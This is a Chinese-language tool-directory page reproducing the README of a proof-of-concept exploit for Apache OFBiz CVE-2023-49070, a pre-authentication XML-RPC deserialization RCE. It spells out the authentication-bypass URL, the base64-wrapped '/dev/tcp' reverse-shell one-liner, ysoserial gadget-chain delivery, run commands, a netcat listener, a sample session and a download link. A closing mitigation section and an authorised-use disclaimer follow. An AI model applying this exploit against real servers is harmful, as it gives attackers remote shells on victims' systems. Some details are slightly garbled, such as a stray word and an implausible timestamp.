Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-49070 — Apache OFBiz CVE-2023-49070 的 Python PoC:在 /webtools/control/xmlrpc 上绕过认证,并结合 ysoserial gadget 链实现预认证反序列化 RCE。 | Kitploit
工具/GitHubGitHub/bardlaudian/cve-2023-49070
防御工具Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Apache OFBiz CVE-2023-49070 的 Python PoC:在 /webtools/control/xmlrpc 上绕过认证,并结合 ysoserial gadget 链实现预认证反序列化 RCE。

查看仓库
3124天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

ofbiz-xmlrpc-rce (CVE-2023-49070)

Apache OFBiz XML-RPC 预认证反序列化 RCE 的 PoC,编号为 CVE-2023-49070:一条认证绕过路径解锁了遗留的 /webtools/control/xmlrpc 端点,该端点会反序列化攻击者 通过 XML-RPC <serializable> 参数夹带的受控 Java 对象。

⚠️ 仅供授权安全测试使用。 仅可对您拥有或获得明确授权测试的 系统运行此工具(CTF/实验环境、已签署授权范围的渗透项目等)。 未经授权访问计算机系统在大多数司法管辖区均属违法。

漏洞

Apache OFBiz 的 view-map 认证通常会保护 /webtools/control/xmlrpc。受影响的版本(< 18.12.10)可以通过 在路径后附加分号及特定查询参数来欺骗系统跳过该检查:

/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

一旦可达,该端点便接受 XML-RPC 请求。Apache XML-RPC 的 Java 实现支持 <serializable> 扩展类型:该元素的内容会被 base64 解码并直接传入 ObjectInputStream.readObject() —— 典型的 不安全 Java 反序列化。若 classpath 上存在合适的 gadget 链(此 PoC 默认通过 ysoserial 使用 CommonsBeanutils1),便可直接转化为以运行 OFBiz 的操作系统 用户身份执行远程命令。

这与早前的 OFBiz XML-RPC 反序列化 CVE 属于同一类漏洞 (例如 CVE-2023-51467 的认证绕过姊妹漏洞);OFBiz 在该端点上 反复出现认证绕过 + 反序列化的组合模式,因此在依赖此 PoC 之前, 请核实适用于您目标的确切 CVE/版本范围。

此脚本的功能

  1. 构建 bash -i >& /dev/tcp/LHOST/LPORT 0>&1 反向 shell, 对其进行 base64 编码,并将其包装为 bash -c 'echo ... | base64 -d | bash' 单行命令(避免在 后续执行链中被 shell 元字符破坏)。
  2. 调用 ysoserial 构建序列化 gadget 链 (默认 CommonsBeanutils1,可配置),用于执行该单行命令。
  3. 对 gadget 字节进行 base64 编码,并将其包装进 XML-RPC <serializable> 载荷。
  4. 将其 POST 到 TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y。
  5. 报告 HTTP 状态,并标记响应体是否包含 OFBiz 反序列化后的 错误标记(No such service)—— 这是载荷已被处理的信号, 而非代码执行的证据。

此脚本不具备的功能

它无法确认您是否获得了 shell —— 一旦反序列化执行,OFBiz 无论 如何都会返回通用错误(XML-RPC 方法本身 Dns 并不作为真实服务 存在)。请务必保持监听器开启并检查它,而不仅仅是查看脚本的 控制台输出。

环境要求

  • Python 3.8+,pip install requests --break-system-packages
  • Java(任何与您的 ysoserial 构建兼容的版本)
  • ysoserial-all.jar —— 请自行从 frohoff/ysoserial 构建 (mvn clean package -DskipTests)或获取发布版 jar。此处未捆绑 —— 它是一个大型第三方工具,拥有自己的许可证。

使用方法

python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

请先启动监听器:

nc -lvnp 4444

所有选项

FlagDefaultDescription
--target(required)目标基础 URL,例如 https://ofbiz.target.tld
--lhost(required)您的监听器 IP
--lport(required)您的监听器端口
--ysoserialysoserial-all.jarysoserial jar 的路径
--gadgetCommonsBeanutils1要使用的 ysoserial gadget 链
--java-binjava要调用的 Java 二进制文件
--timeout15HTTP 请求超时(秒)
--proxy(none)可选的 HTTP(S) 代理,例如用于通过 Burp 路由

尝试其他 gadget 链

CommonsBeanutils1 是 OFBiz 的经典选择(其 classpath 上自带 commons-beanutils),但如果它未能触发,OFBiz 捆绑的库也支持 其他链。只需替换 --gadget:

python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

示例会话

$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

检测与缓解(防御性说明)

  • 修补至 Apache OFBiz 18.12.10 或更高版本(或您所在分支的 当前已修补版本)—— 这将同时关闭认证绕过路径并加固 XML-RPC 端点上的反序列化。
  • 禁用或限制 /webtools/control/xmlrpc,如果您并未主动使用 XML-RPC 集成;webtools 组件总体上是常见攻击目标,除非有充分 理由,否则不应面向互联网。
  • 在 WAF/反向代理层过滤基于分号的路径段,作为纵深防御 —— OFBiz 的许多认证绕过 CVE 都共享这一针对 Java servlet 路径解析 的 ; 技巧。
  • 反序列化加固:使用前瞻式反序列化过滤器 (ObjectInputFilter,自 JEP 290 / Java 9+ 起可用)阻止已知 gadget 链类被实例化,无论哪个端点触发反序列化。
  • 监控:包含 <serializable> 元素的发往 */control/xmlrpc* 的 POST 请求、来自 OFBiz 主机的异常出站连接,以及运行 OFBiz 的 Java 进程所派生的子进程。

参考资料

  • NVD — CVE-2023-49070
  • Apache OFBiz 安全公告
  • ysoserial

许可证

MIT —— 参见 LICENSE。

下载工具